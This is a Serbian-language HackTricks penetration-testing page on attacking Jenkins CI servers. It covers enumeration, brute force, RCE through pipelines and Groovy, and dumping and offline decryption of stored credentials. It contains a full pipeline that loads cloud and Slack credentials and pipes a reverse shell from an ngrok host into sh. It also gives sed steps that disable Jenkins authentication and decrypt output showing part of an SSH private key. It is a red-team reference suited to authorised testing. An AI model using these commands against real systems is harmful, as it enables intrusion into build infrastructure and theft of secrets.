Jenkins Security

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Jenkins je alat koji nudi jednostavan način za uspostavljanje kontinualne integracije ili kontinualne isporuke (CI/CD) okruženja za gotovo bilo koju kombinaciju programskih jezika i repozitorijuma izvornog koda koristeći tokove. Osim toga, automatizuje različite rutinske razvojne zadatke. Iako Jenkins ne eliminiše potrebu za kreiranjem skripti za pojedinačne korake, pruža brži i pouzdaniji način za integraciju celokupnog niza alata za izgradnju, testiranje i implementaciju nego što se može lako konstruisati ručno.

pageBasic Jenkins Information

Neautentifikovano Nabrojavanje

Da biste tražili zanimljive Jenkins stranice bez autentifikacije poput (/people ili /asynchPeople, koje prikazuju trenutne korisnike) možete koristiti:

msf> use auxiliary/scanner/http/jenkins_enum

Proverite da li možete izvršiti komande bez potrebe za autentifikacijom:

msf> use auxiliary/scanner/http/jenkins_command

Bez akreditacija možete pogledati unutar /asynchPeople/ putanje ili /securityRealm/user/admin/search/index?q= za korisnička imena.

Možda ćete moći da dobijete verziju Jenkins-a sa putanje /oops ili /error

Poznate ranjivosti

Prijava

U osnovnim informacijama možete proveriti sve načine za prijavu u Jenkins:

pageBasic Jenkins Information

Registracija

Moći ćete da pronađete instance Jenkins-a koje omogućavaju kreiranje naloga i prijavu unutar njih. Tako jednostavno.

SSO Prijava

Takođe, ako su SSO funkcionalnosti/plugini prisutni, trebalo bi da pokušate da se prijavite na aplikaciju koristeći testni nalog (npr. testni Github/Bitbucket nalog). Trik sa ovde.

Brute Force

Jenkins nema polisu lozinke i mitigaciju brute-force napada na korisnička imena. Bitno je brute-force korisnike jer se mogu koristiti slabe lozinke ili korisnička imena kao lozinke, čak i obrnuta korisnička imena kao lozinke.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Koristite ovaj Python skript ili ovaj PowerShell skript.

Bypass IP Whitelisting

Mnoge organizacije kombinuju SaaS-based sisteme za upravljanje izvornim kodom (SCM) poput GitHub-a ili GitLab-a sa internim, samohostovanim CI rešenjem poput Jenkins-a ili TeamCity-ja. Ova postavka omogućava CI sistemima da primate webhook događaje od SaaS provajdera za upravljanje izvornim kodom, uglavnom radi pokretanja pipeline poslova.

Da bi postigli ovo, organizacije daju dozvolu za IP opsege SCM platformi, omogućavajući im pristup internom CI sistemu putem webhook-ova. Međutim, važno je napomenuti da bilo ko može kreirati nalog na GitHub-u ili GitLab-u i konfigurisati ga da pokrene webhook, potencijalno šaljući zahteve internom CI sistemu.

Proverite: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Zloupotrebe internog Jenkins-a

U ovim scenarijima pretpostavljamo da imate validan nalog za pristup Jenkins-u.

Zavisno od konfigurisanog mehanizma Autorizacije u Jenkins-u i dozvola kompromitovanog korisnika, možda ćete moći ili nećete moći izvršiti sledeće napade.

Za više informacija pogledajte osnovne informacije:

pageBasic Jenkins Information

Lista korisnika

Ako ste pristupili Jenkins-u, možete videti listu drugih registrovanih korisnika na http://127.0.0.1:8080/asynchPeople/

Dumpovanje izgradnji radi pronalaženja tajnih informacija u čistom tekstu

Koristite ovaj skript da biste dumpovali konzolne izlaze izgradnje i promenljive okruženja izgradnje kako biste eventualno pronašli tajne informacije u čistom tekstu.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Krađa SSH akreditacija

Ako kompromitovani korisnik ima dovoljno privilegija da kreira/modifikuje novi Jenkins čvor i SSH akreditacije već su sačuvane za pristup drugim čvorovima, mogao bi ukrasti te akreditacije kreiranjem/modifikovanjem čvora i postavljanjem domaćina koji će zabeležiti akreditacije bez provere ključa domaćina:

Obično ćete pronaći Jenkins SSH akreditacije u globalnom provajderu (/credentials/), pa ih možete i izlistati kao što biste izlistali bilo koju drugu tajnu. Više informacija u odeljku o izlistavanju tajni.

RCE u Jenkins-u

Dobijanje ljuske na Jenkins serveru daje napadaču mogućnost da otkrije sve tajne i env promenljive i da iskoristi druge mašine koje se nalaze u istoj mreži ili čak prikupi kredencijale za oblak.

Po podrazumevanim podešavanjima, Jenkins će raditi kao SISTEM. Dakle, kompromitovanje će dati napadaču SISTEM privilegije.

RCE Kreiranje/Modifikovanje projekta

Kreiranje/Modifikovanje projekta je način da se dobije RCE na Jenkins serveru:

pageJenkins RCE Creating/Modifying Project

RCE Izvršavanje Groovy skripte

Takođe možete dobiti RCE izvršavanjem Groovy skripte, što može biti prikrivenije od kreiranja novog projekta:

pageJenkins RCE with Groovy Script

RCE Kreiranje/Modifikovanje Pipeline-a

Takođe možete dobiti RCE kreiranjem/modifikovanjem pipeline-a:

pageJenkins RCE Creating/Modifying Pipeline

Eksploatacija Pipeline-a

Da biste eksploatisali pipeline-ove, i dalje morate imati pristup Jenkins-u.

Build Pipeline-ovi

Pipeline-ovi takođe mogu biti korišćeni kao mehanizam izgradnje u projektima, u tom slučaju može biti konfigurisan fajl unutar repozitorijuma koji će sadržati sintaksu pipeline-a. Podrazumevano se koristi /Jenkinsfile:

Takođe je moguće čuvati fajlove konfiguracije pipeline-a na drugim mestima (u drugim repozitorijumima na primer) sa ciljem razdvajanja pristupa repozitorijumu i pristupa pipeline-u.

Ako napadač ima pristup za pisanje nad tim fajlom biće u mogućnosti da ga modifikuje i potencijalno pokrene pipeline čak i bez pristupa Jenkins-u. Moguće je da će napadač morati da zaobiđe neka ograničenja grane (zavisno od platforme i privilegija korisnika, moguće je da će biti zaobiđena ili ne).

Najčešći okidači za izvršavanje prilagođenog pipeline-a su:

  • Pull zahtev ka glavnoj grani (ili potencijalno ka drugim granama)

  • Pritisak na glavnu granu (ili potencijalno na druge grane)

  • Ažuriranje glavne grane i čekanje dok se na neki način izvrši

Ako ste spoljni korisnik ne biste trebali očekivati da kreirate PR ka glavnoj grani repozitorijuma drugog korisnika/organizacije i pokrenete pipeline... ali ako je loše konfigurisano možete potpuno kompromitovati kompanije samo eksploatišući ovo.

Pipeline RCE

U prethodnom odeljku o RCE-u već je naznačena tehnika za dobijanje RCE-a modifikujući pipeline.

Provera Env promenljivih

Moguće je deklarisati env promenljive u čistom tekstu za ceo pipeline ili za specifične faze. Ove env promenljive ne bi trebalo da sadrže osetljive informacije, ali napadač uvek može proveriti sve konfiguracije pipeline-a/Jenkinsfile-ova:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Isplavljanje tajni

Za informacije o tome kako se tajne obično tretiraju u Jenkinsu pogledajte osnovne informacije:

pageBasic Jenkins Information

Poverilačke informacije mogu biti ograničene na globalne provajdere (/credentials/) ili na specifične projekte (/job/<project-name>/configure). Stoga, kako biste izvukli sve od njih, morate kompromitovati barem sve projekte koji sadrže tajne i izvršiti prilagođene/zatrovane tokove rada.

Postoji još jedan problem, da biste dobili tajnu unutar env-a tokom rada, morate znati ime i tip tajne. Na primer, ako pokušate da učitate tajnu usernamePassword kao string tajnu, dobićete ovu grešku:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Evo kako da učitate neke uobičajene vrste tajni:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Na kraju ove stranice možete pronaći sve vrste akreditiva: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Najbolji način da izvučete sve tajne odjednom je kompromitovanje Jenkins mašine (pokretanje reverznog šella na ugrađenom čvoru na primer) i zatim procurenje master ključeva i šifrovanih tajni i dešifrovanje offline. Više o tome kako to uraditi možete pronaći u odeljku Čvorovi i agenti i u odeljku Post eksploatacija.

Okidači

Iz dokumenata: Direktiva triggers definiše automatizovane načine ponovnog pokretanja Pipeline-a. Za Pipeline-ove koji su integrisani sa izvorom poput GitHub-a ili BitBucket-a, triggers možda nisu potrebni jer će već verovatno postojati integracija zasnovana na webhook-ovima. Trenutno dostupni okidači su cron, pollSCM i upstream.

Primer koda za cron:

triggers { cron('H */4 * * 1-5') }

Proverite druge primere u dokumentaciji.

Čvorovi i agenti

Jenkins instanca može imati različite agente koji se izvršavaju na različitim mašinama. Sa perspektive napadača, pristup različitim mašinama znači različite potencijalne cloud akreditive za krađu ili različit pristup mreži koji se može zloupotrebiti za eksploataciju drugih mašina.

Za više informacija pogledajte osnovne informacije:

pageBasic Jenkins Information

Možete nabrojati konfigurisane čvorove u /computer/, obično ćete pronaći **Ugrađeni čvor ** (koji je čvor na kojem se izvršava Jenkins) i potencijalno više:

Posebno je interesantno kompromitovati Ugrađeni čvor jer sadrži osetljive informacije o Jenkins-u.

Da biste naznačili da želite pokrenuti pipelinu na ugrađenom Jenkins čvoru, možete specificirati sledeću konfiguraciju unutar pipeline-a:

pipeline {
agent {label 'built-in'}

Potpuni primer

Pipeline u određenom agentu, sa cron okidačem, sa promenljivama okruženja za ceo pipeline i fazu, učitavanje 2 promenljive u koraku i slanje reverznog šella:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Post Eksploatacija

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Tajne

Možete izlistati tajne pristupanjem /credentials/ ako imate dovoljno dozvola. Imajte na umu da će ovo samo izlistati tajne unutar datoteke credentials.xml, ali datoteke konfiguracije izgradnje takođe mogu imati više tajni.

Ako možete videti konfiguraciju svakog projekta, možete takođe videti tamo imena tajni (tajni) koje se koriste za pristupanje repozitorijumu i druge tajne projekta.

Iz Groovy-ja

pageJenkins Dumping Secrets from Groovy

Sa diska

Ove datoteke su potrebne za dekripciju Jenkins tajni:

  • secrets/master.key

  • secrets/hudson.util.Secret

Takve tajne obično se mogu pronaći u:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Evo regexa za njihovo pronalaženje:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Dekriptuj Jenkins tajne informacije offline

Ako ste preuzeli potrebne lozinke za dekripciju tajnih informacija, koristite ovaj skript za dekripciju tih tajni.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Dekriptujte Jenkins tajne iz Groovy-a

println(hudson.util.Secret.decrypt("{...}"))

Kreiranje novog admin korisnika

  1. Pristupite Jenkins config.xml fajlu u /var/lib/jenkins/config.xml ili C:\Program Files (x86)\Jenkins\

  2. Potražite reč <useSecurity>true</useSecurity> i promenite reč **true ** u false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Restartujte Jenkins server: service jenkins restart

  5. Sada ponovo idite na Jenkins portal i Jenkins neće tražiti nikakve akreditive ovog puta. Idite na "Manage Jenkins" da ponovo postavite administrator šifru.

  6. Ponovo omogućite bezbednost tako što ćete promeniti podešavanja u <useSecurity>true</useSecurity> i ponovo restartujte Jenkins.

Reference

Naučite AWS hakovanje od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated